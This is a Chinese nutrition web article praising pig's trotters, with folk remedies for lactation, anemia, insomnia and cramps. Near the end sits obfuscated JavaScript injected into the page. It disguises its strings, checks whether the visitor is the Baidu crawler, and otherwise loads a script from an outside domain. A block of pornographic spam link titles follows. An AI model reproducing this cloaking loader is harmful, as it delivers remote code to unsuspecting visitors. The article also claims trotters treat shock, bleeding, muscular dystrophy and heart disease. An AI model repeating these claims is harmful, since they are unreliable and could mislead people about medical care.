當前位置:首頁 > 飲食 > 食物營養 > 正文

吃豬蹄有什么好處?豬蹄的營養價值及功效

2013-01-16 13:12:01  來源:360常識網  作者:營養價值     熱度:
導語:豬蹄不僅是常用菜肴,而且還是滋補佳品,其營養價值非常豐富,經常吃豬蹄的好處非常多。豬蹄是人們喜歡食用的營養佳品。中醫認為,豬蹄性平,味甘咸。豬蹄的營養豐富,味道可口。

豬蹄,又叫豬腳、豬手,前蹄為豬手,后蹄為豬腳。含有豐富的膠原蛋白質,脂肪含量也比肥肉低,近年在對老年人衰老原因的研究中發現,人體中膠原蛋白質缺乏,是人衰老的一個重要因素。

豬蹄的營養價值-吃豬蹄的好處
吃豬蹄子有什么好處?豬蹄子的營養價值

豬蹄子的營養成分

豬蹄的營養豐富,味道可口。它不僅是常用菜肴,而且還是滋補佳品。據食品營養專家分析,每100克豬蹄中含蛋白質15.8克、脂肪26.3克、碳水化合物1.7克。豬蹄中還含有維生素A、B、C及鈣、磷、鐵等營養物質,尤其是豬蹄中的蛋白質水解后,所產生的胱氨酸、精氨酸等11種氨基酸之含量均與熊掌不相上下。

從醫學的角度來看,豬蹄又是多用途的良藥。豬蹄中含有豐富的膠原蛋白,這是一種由生物大分子組成的膠類物質,是構成肌腱、韌帶及結締組織中最主要的蛋白質成分。在人體內,膠原蛋白約占蛋白質的三分之一。若膠原蛋白合成發生了異常,就會引起“膠原性疾病”。

豬蹄的功效與作用

1、催乳

這也是中醫傳統的下乳方法,在民間應用極其普遍。主要用于產后氣血不足,乳汁缺乏的產婦。具體方法是:豬蹄1對,少佐通草3克,加水1500毫升,煮爛,稍涼后喝湯吃蹄,每天喝1次,連服3~5天即可見效。如在喝湯時加服胎盤粉每次2克,效果更好。

2、美容

豬蹄中富含膠原蛋白質和彈性蛋白,具有改善人的皮膚組織細胞的貯水功能,使皮膚不易皺縮。彈性蛋白可使皮膚保持彈性。常食之可減少皮膚皺紋,延緩皮膚細胞的衰老,使皮膚光澤、柔潤、細膩。

3、補血

豬蹄配合健脾益氣的中藥或食物,可用于貧血、血小板減少及白細胞減少等病所表現的氣血不足證。常用的方法如:用豬蹄1對,花生50克,大棗10枚。三者同燉熟爛后服食,有補氣生血之功。若有痛經、經量少等,可配合牛膝20克,黃酒50克,煮熟同食。

4、治失眠

豬蹄富含膠原蛋白,而膠原蛋白是由眾多的氨基酸組成。食用豬蹄后在小腸中膠原蛋白可被消化分解為大量甘氨酸。甘氨酸不僅能在人體內參與合成膠原蛋白,而且它在大腦細胞中是一種中樞神經抑制性遞質。因此食用燉豬蹄對減輕中樞神經過度興奮是有作用的。對焦慮狀態及神經衰弱、失眠等有改善作用。

5、治抽筋

對于肌肉神經異常所導致的腿肚抽筋或肢體麻木的人來說,多吃些豬蹄或湯有治療緩解作用。若有風寒濕邪阻于關節,出現疼痛、發涼、不可屈伸等,可用薏米50克,豬蹄1對,同燉服食。這是根據中醫傳統認識中的“以筋治筋”原理而采取的食療方法。

吃豬蹄的好處

1、豬蹄中的膠原蛋白質在烹調過程中可轉化成明膠、它能結合許多水,從而有效改善機體生理功能和皮膚組織細胞的儲水功能,防止皮膚過早褶皺,延緩皮膚衰老。

2、豬蹄對于經常四肢疲乏,腿部抽筋、麻木,消化道出血,失血性休克及缺血性腦病患者一定輔助療效,它還有助于青少年生長發育和減緩中老年婦女骨質疏松的速度。

3、豬蹄含豐富的膠原蛋白,可促進毛皮生長,預治進行性肌營養不良癥,使冠心病和腦血管病得到改善,對消化道出血、失水性休克有一定的療效。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
2021国产精品自在拍在线播放| 国产美女精品人人做人人爽| 三级高清精品国产| 精品无码国产一区二区三区AV | 亚洲精品视频观看| 二区久久国产乱子伦免费精品| 亚洲精品无码专区| 久久国产精品免费视频| 国产成人精品一区二三区在线观看| 国产在视频线精品视频2021| 日韩精品免费在线视频| 九九热线有精品视频99| 国产精品无码一区二区在线观| 国产a∨精品一区二区三区不卡| 日产国产精品亚洲系列| 97视频精品视频人人一二区| 香蕉国产精品频视| 国产一在线精品一区在线观看| 国产精品亚洲专区在线播放| 亚洲国产精品无码久久久| 亚洲AV无码久久精品蜜桃| 日韩精品无码久久一区二区三| 国产精品沙发午睡系列| 精品国产品国语在线不卡| 久久久久琪琪去精品色无码 | 91精品美女在线| 乱人伦精品视频在线观看| 精品久久久久不卡无毒| 97视频精品视频人人一二区| 久久无码国产专区精品| 国产成人精品无码播放| 99精品国产在热久久| 精品视频一区二区三区| 九九久久国产精品免费热6| 国产精品自在线天天看片| 性虎精品无码AV导航| 中文字幕日韩精品一区二区三区| 久久99精品久久久大学生| 久久精品aⅴ无码中文字字幕不卡| 久久久久久国产精品视频| 九九精品成人免费国产片|